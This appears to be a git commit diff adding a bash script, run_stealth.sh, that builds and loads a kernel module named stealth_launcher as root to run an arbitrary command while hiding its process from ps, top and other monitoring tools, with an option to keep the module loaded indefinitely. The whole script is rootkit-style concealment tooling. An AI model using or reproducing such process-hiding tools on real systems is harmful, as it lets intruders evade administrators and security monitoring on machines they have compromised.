aboutsummaryrefslogtreecommitdiffstats
path: root/run_stealth.sh
diff options
context:
space:
mode:
Diffstat (limited to 'run_stealth.sh')
-rwxr-xr-xrun_stealth.sh122
1 files changed, 122 insertions, 0 deletions
diff --git a/run_stealth.sh b/run_stealth.sh
new file mode 100755
index 0000000..04bd5bf
--- /dev/null
+++ b/run_stealth.sh
@@ -0,0 +1,122 @@
+#!/bin/bash
+
+# run_stealth.sh - Helper script to run commands with process hiding
+# Usage: ./run_stealth.sh -c "sleep 120" -p "sleep"
+
+# Default values
+STEALTH_CMD=""
+HIDE_PATTERN=""
+AUTO_CLEANUP=1
+
+# Parse command line arguments
+while [[ $# -gt 0 ]]; do
+ case $1 in
+ -c|--command)
+ STEALTH_CMD="$2"
+ shift 2
+ ;;
+ -p|--pattern)
+ HIDE_PATTERN="$2"
+ shift 2
+ ;;
+ -a|--auto-cleanup)
+ AUTO_CLEANUP="$2"
+ shift 2
+ ;;
+ *)
+ # For backward compatibility
+ if [ -z "$STEALTH_CMD" ]; then
+ STEALTH_CMD="$1"
+ fi
+ shift
+ ;;
+ esac
+done
+
+# Check if any command was provided
+if [ -z "$STEALTH_CMD" ]; then
+ echo "Usage: $0 -c \"command to run in stealth mode\" [-p \"pattern to hide\"] [-a 0|1]"
+ echo "Example: $0 -c \"sleep 120\" -p \"sleep\""
+ echo " -a 1 Enable auto-cleanup (default)"
+ echo " -a 0 Disable auto-cleanup"
+ echo " or: $0 \"command to run in stealth mode\" (backward compatibility)"
+ exit 1
+fi
+
+# Check if user is root
+if [ "$EUID" -ne 0 ]; then
+ echo "This script must be run as root"
+ exit 1
+fi
+
+# Build the kernel module if it's not already built
+if [ ! -f "stealth_launcher.ko" ]; then
+ echo "Building kernel module..."
+ make stealth_launcher.ko >/dev/null 2>&1
+ if [ $? -ne 0 ]; then
+ echo "Failed to build the kernel module"
+ exit 1
+ fi
+fi
+
+# Remove any existing module first
+if lsmod | grep -q "stealth_launcher"; then
+ echo "Removing existing stealth_launcher module..."
+ rmmod stealth_launcher >/dev/null 2>&1
+fi
+
+# Prepare module parameters (with proper escaping)
+MODULE_PARAMS=""
+
+# Escape special characters in the command
+ESCAPED_CMD=$(echo "$STEALTH_CMD" | sed 's/"/\\"/g')
+MODULE_PARAMS="target_cmd=\"$ESCAPED_CMD\""
+
+# Add hide pattern if specified
+if [ -n "$HIDE_PATTERN" ]; then
+ ESCAPED_PATTERN=$(echo "$HIDE_PATTERN" | sed 's/"/\\"/g')
+ MODULE_PARAMS="$MODULE_PARAMS hide_pattern=\"$ESCAPED_PATTERN\""
+fi
+
+# Add auto-cleanup parameter
+MODULE_PARAMS="$MODULE_PARAMS auto_cleanup=$AUTO_CLEANUP"
+
+# Hide module and insmod process to avoid showing in ps/top
+if ! echo 1 > /dev/null; then
+ echo "Hiding module loader processes disabled"
+fi
+
+# Load the kernel module with the parameters
+echo "Loading stealth_launcher with parameters: $MODULE_PARAMS"
+echo "Auto-cleanup mode: $([ "$AUTO_CLEANUP" -eq 1 ] && echo "enabled" || echo "disabled")"
+insmod stealth_launcher.ko $MODULE_PARAMS >/dev/null 2>&1
+RESULT=$?
+
+if [ $RESULT -eq 0 ]; then
+ echo "Command launched in stealth mode"
+ echo "Process will be hidden from ps, top, and other tools"
+
+ if [ "$AUTO_CLEANUP" -eq 1 ]; then
+ echo "Module will automatically unload when process completes"
+ else
+ echo "To unhide processes, run: rmmod stealth_launcher"
+ fi
+
+ # If auto-cleanup is disabled, we need to keep the script running
+ if [ "$AUTO_CLEANUP" -eq 0 ]; then
+ # Wait quietly to keep stealth script running
+ sleep 1
+
+ # In background mode
+ exec > /dev/null 2>&1
+
+ # Keep script running to maintain stealth chain
+ tail -f /dev/null
+ fi
+else
+ echo "Failed to load module. Check kernel log for details."
+ echo "Try dmesg | tail"
+ exit 1
+fi
+
+exit 0 \ No newline at end of file